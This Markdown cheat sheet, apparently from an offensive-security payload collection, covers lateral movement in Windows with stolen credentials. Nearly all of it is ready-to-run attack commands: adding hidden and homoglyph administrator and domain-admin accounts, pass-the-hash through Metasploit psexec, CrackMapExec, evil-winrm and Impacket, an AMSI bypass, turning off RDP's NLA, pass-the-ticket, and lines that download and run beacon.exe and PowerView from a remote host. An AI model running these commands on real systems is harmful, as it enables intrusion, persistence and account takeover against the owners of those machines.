342 lines
12 KiB
Markdown
342 lines
12 KiB
Markdown
# Windows - Using credentials
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## Summary
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* [TIPS](#tips)
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* [TIP 1 - Create your credential](#tip-1-create-your-credential)
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* [TIP 2 - Retail Credential](#tip-2-retail-credential)
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* [TIP 3 - Sandbox Credential - WDAGUtilityAccount](#tip-3-sandbox-credrential-wdagutilityaccount)
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* [Metasploit](#metasploit)
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* [Metasploit - SMB](#metasploit---smb)
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* [Metasploit - Psexec](#metasploit---psexec)
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* [Remote Code Execution with PS Credentials](#remote-code-execution-with-ps-credentials)
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* [WinRM](#winrm)
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* [Powershell Remoting](#powershell-remoting)
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* [Crackmapexec](#crackmapexec)
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* [Winexe](#winexe)
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* [WMI](#wmi)
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* [Psexec.py / Smbexec.py / Wmiexec.py](#psexecpy--smbexecpy--wmiexecpy)
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* [PsExec - Sysinternal](#psexec-sysinternal)
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* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol)
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* [Netuse](#netuse)
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* [Runas](#runas)
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* [Pass the Ticket](#pass-the-ticket)
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* [SSH](#ssh)
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## TIPS
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### TIP 1 - Create your credential
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```powershell
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net user hacker Hcker_12345678* /add /Y
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net localgroup administrators hacker /add
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net localgroup "Remote Desktop Users" hacker /add # RDP access
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net localgroup "Backup Operators" hacker /add # Full access to files
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net group "Domain Admins" hacker /add /domain
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# enable a domain user account
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net user hacker /ACTIVE:YES /domain
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# prevent users from changing their password
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net user username /Passwordchg:No
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# prevent the password to expire
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net user hacker /Expires:Never
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# create a machine account (not shown in net users)
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net user /add evilbob$ evilpassword
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# homoglyph Aԁmіnistratοr (different of Administrator)
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Aԁmіnistratοr
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```
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Some info about your user
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```powershell
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net user /dom
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net user /domain
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```
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### TIP 2 - Retail Credential
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Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289)
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when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin
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```powershell
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Username: RetailAdmin
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Password: trs10
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```
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### TIP 3 - Sandbox Credential - WDAGUtilityAccount
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WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608)
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Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard
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```powershell
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\\windowssandbox
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Username: wdagutilityaccount
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Password: pw123
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```
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## Metasploit
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### Metasploit - SMB
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```c
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use auxiliary/scanner/smb/smb_login
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set SMBDomain DOMAIN
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set SMBUser username
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set SMBPass password
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services -p 445 -R
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run
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creds
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```
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### Metasploit - Psexec
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Note: the password can be replaced by a hash to execute a `pass the hash` attack.
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```c
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use exploit/windows/smb/psexec
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set RHOST 10.2.0.3
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set SMBUser username
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set SMBPass password
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set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
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set PAYLOAD windows/meterpreter/bind_tcp
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run
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shell
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```
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## Crackmapexec
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```powershell
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root@payload$ git clone https://github.com/byt3bl33d3r/CrackMapExec.github
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root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -x 'whoami' # cmd
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root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -X 'whoami' # powershell
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root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method atexec -x 'whoami'
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root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method wmiexec -x 'whoami'
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root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -x 'whoami'
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```
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## Remote Code Execution with PS Credentials
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```powershell
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PS C:\> $SecPassword = ConvertTo-SecureString 'secretpassword' -AsPlainText -Force
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PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USERNAME', $SecPassword)
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PS C:\> Invoke-Command -ComputerName DC01 -Credential $Cred -ScriptBlock {whoami}
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PS C:\> New-PSSESSION -NAME PSDC -ComputerName COMPUTER01; Invoke-Command -ComputerName COMPUTER01 -ScriptBlock {whoami}
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PS C:\> Invoke-Command -ComputerName COMPUTER01 -ScriptBlock {powershell Invoke-WebRequest -Uri 'http://10.10.10.10/beacon.exe' -OutFile 'C:\Temp\beacon.exe'; Start-Process -wait C:\Temp\beacon.exe}
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```
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## WinRM
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Require:
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* Port **5985** or **5986** open.
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* Default endpoint is **/wsman**
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```powershell
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root@payload$ git clone https://github.com/Hackplayers/evil-winrm
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root@payload$ evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM]
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root@payload$ ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
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root@payload$ ruby evil-winrm.rb -i 10.0.0.20 -u username -H BD1C6503987F8FF006296118F359FA79
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root@payload$ ruby evil-winrm.rb -i 10.0.0.20 -u username -p password -r domain.local
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*Evil-WinRM* PS > Bypass-4MSI
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*Evil-WinRM* PS > IEX([Net.Webclient]::new().DownloadString("http://127.0.0.1/PowerView.ps1"))
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```
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or using a custom ruby code to interact with the WinRM service.
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```ruby
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require 'winrm'
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conn = WinRM::Connection.new(
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endpoint: 'http://ip:5985/wsman',
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user: 'domain/user',
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password: 'password',
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)
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command=""
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conn.shell(:powershell) do |shell|
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until command == "exit\n" do
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print "PS > "
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command = gets
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output = shell.run(command) do |stdout, stderr|
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STDOUT.print stdout
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STDERR.print stderr
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end
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end
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puts "Exiting with code #{output.exitcode}"
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end
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```
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## Powershell Remoting
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> PSSESSION
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```powershell
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PS> Enable-PSRemoting
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# use credential
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PS> $pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
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PS> $cred = New-Object System.Management.Automation.PSCredential ('DOMAIN\Username', $pass)
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PS> Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }
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# one-to-one interactive session
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PS> Enter-PSSession -computerName DC01
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[DC01]: PS>
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# one-to-one execute scripts and commands
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PS> $Session = New-PSSession -ComputerName CLIENT1
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PS> Invoke-Command -Session $Session -scriptBlock { $test = 1 }
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PS> Invoke-Command -Session $Session -scriptBlock { $test }
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1
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# one-to-many execute scripts and commands
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PS> Invoke-Command -computername DC01,CLIENT1 -scriptBlock { Get-Service }
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PS> Invoke-Command -computername DC01,CLIENT1 -filePath c:\Scripts\Task.ps1
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```
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## Winexe
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Integrated to Kali
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```powershell
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root@payload$ winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe
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```
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## WMI
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```powershell
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PS C:\> wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”
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```
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## Psexec.py / Smbexec.py / Wmiexec.py
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From [Impacket](https://github.com/SecureAuthCorp/impacket) (:warning: renamed to impacket-xxx in Kali)
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:warning: `get` / `put` for wmiexec, psexec, smbexec, and dcomexec are changing to `lget` and `lput`.
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:warning: French characters might not be correctly displayed on your output, use `-codec ibm850` to fix this.
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```powershell
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root@payload$ git clone https://github.com/CoreSecurity/impacket.git
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# PSEXEC like functionality example using RemComSv
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root@payload$ python psexec.py DOMAIN/username:password@10.10.10.10
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# this will drop a binary on the disk = noisy
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# A similar approach to PSEXEC w/o using RemComSvc
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root@payload$ python smbexec.py DOMAIN/username:password@10.10.10.10
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# A semi-interactive shell, used through Windows Management Instrumentation.
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root@payload$ python wmiexec.py DOMAIN/username:password@10.10.10.10
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root@payload$ wmiexec.py domain.local/user@10.0.0.20 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
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# A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints.
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root@payload$ python atexec.py DOMAIN/username:password@10.10.10.10
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# Executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
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root@payload$ python dcomexec.py DOMAIN/username:password@10.10.10.10
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```
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## PsExec - Sysinternal
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from Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
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```powershell
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PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe
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# switch admin user to NT Authority/System
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PS C:\> PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s
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```
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## RDP Remote Desktop Protocol
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:warning: **NOTE**: You may need to enable RDP and disable NLA and fix CredSSP errors.
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```powershell
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# Enable RDP
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PS C:\> reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
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PS C:\> netsh firewall set service remoteadmin enable
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PS C:\> netsh firewall set service remotedesktop enable
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# Alternative
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C:\> psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
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root@payload$ crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
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# Fix CredSSP errors
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reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
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reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
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# Disable NLA
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PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
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PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
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```
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Abuse RDP protocol to execute commands remotely with the following commands;
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* `rdesktop`
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```powershell
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root@payload$ rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare
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root@payload$ rdesktop -u username -p password -g 70% -r disk:share=/tmp/myshare 10.10.10.10
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# -g : the screen will take up 70% of your actual screen size
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# -r disk:share : sharing a local folder during a remote desktop session
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```
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* `freerdp`
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```powershell
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root@payload$ xfreerdp /v:10.0.0.1 /u:'Username' /p:'Password123!' +clipboard /cert-ignore /size:1366x768 /smart-sizing
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root@payload$ xfreerdp /v:10.0.0.1 /u:username # password will be asked
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# pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group.
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# pass the hash works for Server 2012 R2 / Win 8.1+
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# require freerdp2-x11 freerdp2-shadow-x11 packages instead of freerdp-x11
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root@payload$ xfreerdp /v:10.0.0.1 /u:username /d:domain /pth:88a405e17c0aa5debbc9b5679753939d
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```
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* [SharpRDP](https://github.com/0xthirteen/SharpRDP)
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```powershell
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PS C:\> SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
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```
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## Netuse
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Windows only
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```powershell
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PS C:\> net use \\ordws01.cscou.lab /user:DOMAIN\username password C$
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```
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## Runas
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```powershell
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PS C:\> runas /netonly /user:DOMAIN\username "cmd.exe"
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PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe
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```
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## Pass the Ticket
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```powershell
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python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user
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[*] Saving ticket in user.ccache
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cp user.ccache /tmp/krb5cc_0
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export KRB5CCNAME=/tmp/krb5cc_0
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klist
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```
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## SSH
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:warning: You cannot pass the hash to SSH, but you can connect with a Kerberos ticket (Which you can get by passing the hash!
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```ps1
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cp user.ccache /tmp/krb5cc_1045
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ssh -o GSSAPIAuthentication=yes user@domain.local -vv
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```
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## References
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- [Ropnop - Using credentials to own Windows boxes](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/)
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- [Ropnop - Using credentials to own Windows boxes Part 2](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
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- [Gaining Domain Admin from Outside Active Directory](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html) |